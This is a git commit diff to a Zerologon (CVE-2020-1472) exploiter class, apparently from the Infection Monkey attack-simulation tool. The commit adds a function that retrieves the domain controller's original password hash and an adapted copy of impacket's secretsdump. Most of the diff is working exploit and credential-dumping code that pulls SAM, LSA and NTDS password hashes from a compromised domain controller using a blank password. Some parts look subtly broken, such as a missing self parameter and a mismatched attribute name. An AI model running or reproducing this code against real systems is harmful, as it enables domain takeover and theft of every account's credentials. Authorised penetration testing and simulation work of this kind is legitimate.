Get original passwords' hashes
This commit is contained in:
parent
a4207494ec
commit
5cd8b39f0f
|
@ -3,19 +3,28 @@ Zerologon, CVE-2020-1472
|
||||||
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
from __future__ import division, print_function
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import codecs
|
||||||
import logging
|
import logging
|
||||||
|
import os
|
||||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
import re
|
||||||
|
import sys
|
||||||
from impacket.dcerpc.v5 import nrpc, epm
|
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
|
||||||
from impacket.dcerpc.v5 import transport
|
|
||||||
from impacket import crypto
|
|
||||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
|
||||||
import impacket
|
|
||||||
|
|
||||||
from binascii import hexlify, unhexlify
|
from binascii import hexlify, unhexlify
|
||||||
from Cryptodome.Cipher import DES, AES, ARC4
|
|
||||||
|
import impacket
|
||||||
|
from Cryptodome.Cipher import AES, ARC4, DES
|
||||||
|
from impacket import crypto, version
|
||||||
|
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||||
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||||
|
from impacket.examples import logger
|
||||||
|
from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
||||||
|
NTDSHashes, RemoteOperations,
|
||||||
|
SAMHashes)
|
||||||
|
from impacket.krb5.keytab import Keytab
|
||||||
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
|
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
|
||||||
|
|
||||||
|
@ -26,6 +35,33 @@ class ZerologonExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
_EXPLOITED_SERVICE = 'Netlogon'
|
_EXPLOITED_SERVICE = 'Netlogon'
|
||||||
MAX_ATTEMPTS = 2000
|
MAX_ATTEMPTS = 2000
|
||||||
|
OPTIONS_FOR_SECRETSDUMP =\
|
||||||
|
{
|
||||||
|
'aes_key': None,
|
||||||
|
'bootkey': None,
|
||||||
|
'dc_ip': None,
|
||||||
|
'debug': False,
|
||||||
|
'exec_method': 'smbexec',
|
||||||
|
'hashes': None,
|
||||||
|
'history': False,
|
||||||
|
'just_dc': True,
|
||||||
|
'just_dc_ntlm': False,
|
||||||
|
'just_dc_user': None,
|
||||||
|
'k': False,
|
||||||
|
'keytab': None,
|
||||||
|
'no_pass': True,
|
||||||
|
'ntds': None,
|
||||||
|
'outputfile': None,
|
||||||
|
'pwd_last_set': False,
|
||||||
|
'resumefile': None,
|
||||||
|
'sam': None,
|
||||||
|
'security': None,
|
||||||
|
'system': None,
|
||||||
|
# target and target_ip are assigned in get_original_pwd_nthash()
|
||||||
|
'ts': False,
|
||||||
|
'use_vss': False,
|
||||||
|
'user_status': False
|
||||||
|
}
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super().__init__(host)
|
super().__init__(host)
|
||||||
|
@ -65,7 +101,6 @@ class ZerologonExploiter(HostExploiter):
|
||||||
LOG.info("Non-zero return code, something went wrong.")
|
LOG.info("Non-zero return code, something went wrong.")
|
||||||
|
|
||||||
## how do i execute monkey on the exploited machine?
|
## how do i execute monkey on the exploited machine?
|
||||||
## restore password
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||||
|
@ -101,8 +136,6 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return rpc_con.request(request)
|
return rpc_con.request(request)
|
||||||
|
|
||||||
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
||||||
## get nthash using secretsdump and then restore password
|
|
||||||
|
|
||||||
# Keep authenticating until successful.
|
# Keep authenticating until successful.
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
|
@ -116,6 +149,21 @@ class ZerologonExploiter(HostExploiter):
|
||||||
else:
|
else:
|
||||||
LOG.info("Failed to restore password.")
|
LOG.info("Failed to restore password.")
|
||||||
|
|
||||||
|
def get_original_pwd_nthash(DC_NAME, DC_IP):
|
||||||
|
OPTIONS_FOR_SECRETSDUMP['target'] = '\\$@'.join([DC_NAME, DC_IP]) # format for DC account: NetBIOSName\$@10.2.1.1
|
||||||
|
OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP
|
||||||
|
|
||||||
|
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||||
|
OPTIONS_FOR_SECRETSDUMP['target']).groups('')
|
||||||
|
|
||||||
|
# In case the password contains '@'
|
||||||
|
if '@' in remote_name:
|
||||||
|
password = password + '@' + remote_name.rpartition('@')[0]
|
||||||
|
remote_name = remote_name.rpartition('@')[2]
|
||||||
|
|
||||||
|
dumper = DumpSecrets(remote_name, username, password, domain, OPTIONS_FOR_SECRETSDUMP)
|
||||||
|
dumper.dump()
|
||||||
|
|
||||||
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
rpc_con = self.connect_to_dc(DC_IP)
|
rpc_con = self.connect_to_dc(DC_IP)
|
||||||
|
@ -194,3 +242,209 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
||||||
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
||||||
('ErrorCode', nrpc.NTSTATUS),
|
('ErrorCode', nrpc.NTSTATUS),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||||
|
class DumpSecrets:
|
||||||
|
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
||||||
|
self.__use_VSS_method = options['use_vss']
|
||||||
|
self.__remote_name = remote_name
|
||||||
|
self.__remote_host = options['target_ip']
|
||||||
|
self.__username = username
|
||||||
|
self.__password = password
|
||||||
|
self.__domain = domain
|
||||||
|
self.__lmhash = ''
|
||||||
|
self.__nthash = ''
|
||||||
|
self.__aes_key = options['aes_key']
|
||||||
|
self.__smb_connection = None
|
||||||
|
self.__remote_ops = None
|
||||||
|
self.__SAM_hashes = None
|
||||||
|
self.__NTDS_hashes = None
|
||||||
|
self.__LSA_secrets = None
|
||||||
|
self.__system_hive = options['system']
|
||||||
|
self.__bootkey = options['bootkey']
|
||||||
|
self.__security_hive = options['security']
|
||||||
|
self.__sam_hive = options['sam']
|
||||||
|
self.__ntds_file = options['ntds']
|
||||||
|
self.__history = options['history']
|
||||||
|
self.__no_lmhash = True
|
||||||
|
self.__is_remote = True
|
||||||
|
self.__output_file_name = options['outputfile']
|
||||||
|
self.__do_kerberos = options['k']
|
||||||
|
self.__just_DC = options['just_dc']
|
||||||
|
self.__just_DC_NTLM = options['just_dc_ntlm']
|
||||||
|
self.__just_user = options['just_dc_user']
|
||||||
|
self.__pwd_last_set = options['pwd_last_set']
|
||||||
|
self.__print_user_status = options['user_status']
|
||||||
|
self.__resume_file_name = options['resumefile']
|
||||||
|
self.__can_process_SAM_LSA = True
|
||||||
|
self.__kdc_host = options['dc_ip']
|
||||||
|
self.__options = options
|
||||||
|
|
||||||
|
if options['hashes'] is not None:
|
||||||
|
self.__lmhash, self.__nthash = options['hashes'].split(':')
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
||||||
|
if self.__do_kerberos:
|
||||||
|
self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||||
|
self.__nthash, self.__aes_key, self.__kdc_host)
|
||||||
|
else:
|
||||||
|
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||||
|
|
||||||
|
def dump(self):
|
||||||
|
try:
|
||||||
|
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
||||||
|
self.__is_remote = False
|
||||||
|
self.__use_VSS_method = True
|
||||||
|
if self.__system_hive:
|
||||||
|
local_operations = LocalOperations(self.__system_hive)
|
||||||
|
bootkey = local_operations.getBootKey()
|
||||||
|
if self.__ntds_file is not None:
|
||||||
|
# Let's grab target's configuration about LM Hashes storage
|
||||||
|
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||||
|
else:
|
||||||
|
import binascii
|
||||||
|
bootkey = binascii.unhexlify(self.__bootkey)
|
||||||
|
|
||||||
|
else:
|
||||||
|
self.__is_remote = True
|
||||||
|
bootkey = None
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
self.connect()
|
||||||
|
except Exception as e:
|
||||||
|
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
|
||||||
|
# SMBConnection failed. That might be because there was no way to log into the
|
||||||
|
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||||
|
# will work
|
||||||
|
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
|
self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
||||||
|
self.__remote_ops.setExecMethod(self.__options['exec_method'])
|
||||||
|
if self.__just_dc is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
||||||
|
self.__remote_ops.enableRegistry()
|
||||||
|
bootkey = self.__remote_ops.getBootKey()
|
||||||
|
# Let's check whether target system stores LM Hashes
|
||||||
|
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||||
|
except Exception as e:
|
||||||
|
self.__can_process_SAM_LSA = False
|
||||||
|
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
||||||
|
and self.__do_kerberos is True:
|
||||||
|
# Giving some hints here when SPN target name validation is set to something different to Off
|
||||||
|
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
|
||||||
|
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
||||||
|
'Try -just-dc-user')
|
||||||
|
else:
|
||||||
|
logging.error('RemoteOperations failed: %s' % str(e))
|
||||||
|
|
||||||
|
# If RemoteOperations succeeded, then we can extract SAM and LSA
|
||||||
|
if self.__just_dc is False and self.__just_dc_ntlm is False and self.__can_process_SAM_LSA:
|
||||||
|
try:
|
||||||
|
if self.__is_remote is True:
|
||||||
|
SAM_file_name = self.__remote_ops.saveSAM()
|
||||||
|
else:
|
||||||
|
SAM_file_name = self.__sam_hive
|
||||||
|
|
||||||
|
self.__SAM_hashes = SAMHashes(SAM_file_name, bootkey, isRemote=self.__is_remote)
|
||||||
|
self.__SAM_hashes.dump()
|
||||||
|
if self.__output_file_name is not None:
|
||||||
|
self.__SAM_hashes.export(self.__output_file_name)
|
||||||
|
except Exception as e:
|
||||||
|
logging.error('SAM hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
|
try:
|
||||||
|
if self.__is_remote is True:
|
||||||
|
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
||||||
|
else:
|
||||||
|
SECURITY_file_name = self.__security_hive
|
||||||
|
|
||||||
|
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
|
||||||
|
isRemote=self.__is_remote, history=self.__history)
|
||||||
|
self.__LSA_secrets.dumpCachedHashes()
|
||||||
|
if self.__output_file_name is not None:
|
||||||
|
self.__LSA_secrets.exportCached(self.__output_file_name)
|
||||||
|
self.__LSA_secrets.dumpSecrets()
|
||||||
|
if self.__output_file_name is not None:
|
||||||
|
self.__LSA_secrets.exportSecrets(self.__output_file_name)
|
||||||
|
except Exception as e:
|
||||||
|
if logging.getLogger().level == logging.DEBUG:
|
||||||
|
import traceback
|
||||||
|
traceback.print_exc()
|
||||||
|
logging.error('LSA hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
|
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
||||||
|
if self.__is_remote is True:
|
||||||
|
if self.__use_VSS_method and self.__remote_ops is not None:
|
||||||
|
NTDS_file_name = self.__remote_ops.saveNTDS()
|
||||||
|
else:
|
||||||
|
NTDS_file_name = None
|
||||||
|
else:
|
||||||
|
NTDS_file_name = self.__ntds_file
|
||||||
|
|
||||||
|
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history,
|
||||||
|
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
||||||
|
useVSSmethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
||||||
|
pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name,
|
||||||
|
outputFileName=self.__output_file_name, justUser=self.__just_user,
|
||||||
|
printUserStatus=self.__print_user_status)
|
||||||
|
try:
|
||||||
|
self.__NTDS_hashes.dump()
|
||||||
|
except Exception as e:
|
||||||
|
if logging.getLogger().level == logging.DEBUG:
|
||||||
|
import traceback
|
||||||
|
traceback.print_exc()
|
||||||
|
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||||
|
# We don't store the resume file if this error happened, since this error is related to lack
|
||||||
|
# of enough privileges to access DRSUAPI.
|
||||||
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
|
if resume_file is not None:
|
||||||
|
os.unlink(resume_file)
|
||||||
|
logging.error(e)
|
||||||
|
if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
|
||||||
|
logging.info("You just got that error because there might be some duplicates of the same name. "
|
||||||
|
"Try specifying the domain name for the user as well. It is important to specify it "
|
||||||
|
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
|
||||||
|
elif self.__use_VSS_method is False:
|
||||||
|
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||||
|
self.cleanup()
|
||||||
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
|
if logging.getLogger().level == logging.DEBUG:
|
||||||
|
import traceback
|
||||||
|
traceback.print_exc()
|
||||||
|
logging.error(e)
|
||||||
|
if self.__NTDS_hashes is not None:
|
||||||
|
if isinstance(e, KeyboardInterrupt):
|
||||||
|
while True:
|
||||||
|
answer = input("Delete resume session file? [y/N] ")
|
||||||
|
if answer.upper() == '':
|
||||||
|
answer = 'N'
|
||||||
|
break
|
||||||
|
elif answer.upper() == 'Y':
|
||||||
|
answer = 'Y'
|
||||||
|
break
|
||||||
|
elif answer.upper() == 'N':
|
||||||
|
answer = 'N'
|
||||||
|
break
|
||||||
|
if answer == 'Y':
|
||||||
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
|
if resume_file is not None:
|
||||||
|
os.unlink(resume_file)
|
||||||
|
try:
|
||||||
|
self.cleanup()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def cleanup(self):
|
||||||
|
logging.info('Cleaning up... ')
|
||||||
|
if self.__remote_ops:
|
||||||
|
self.__remote_ops.finish()
|
||||||
|
if self.__SAM_hashes:
|
||||||
|
self.__SAM_hashes.finish()
|
||||||
|
if self.__LSA_secrets:
|
||||||
|
self.__LSA_secrets.finish()
|
||||||
|
if self.__NTDS_hashes:
|
||||||
|
self.__NTDS_hashes.finish()
|
||||||
|
|
Loading…
Reference in New Issue